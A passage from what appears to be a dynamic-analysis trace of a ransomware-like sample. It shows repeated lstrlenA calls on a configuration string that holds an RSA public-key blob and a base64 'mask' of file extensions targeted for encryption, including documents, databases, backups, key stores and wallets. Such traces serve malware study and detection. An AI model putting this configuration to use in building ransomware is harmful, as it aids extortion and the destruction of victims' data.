N4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.463] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.463] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.463] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.463] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm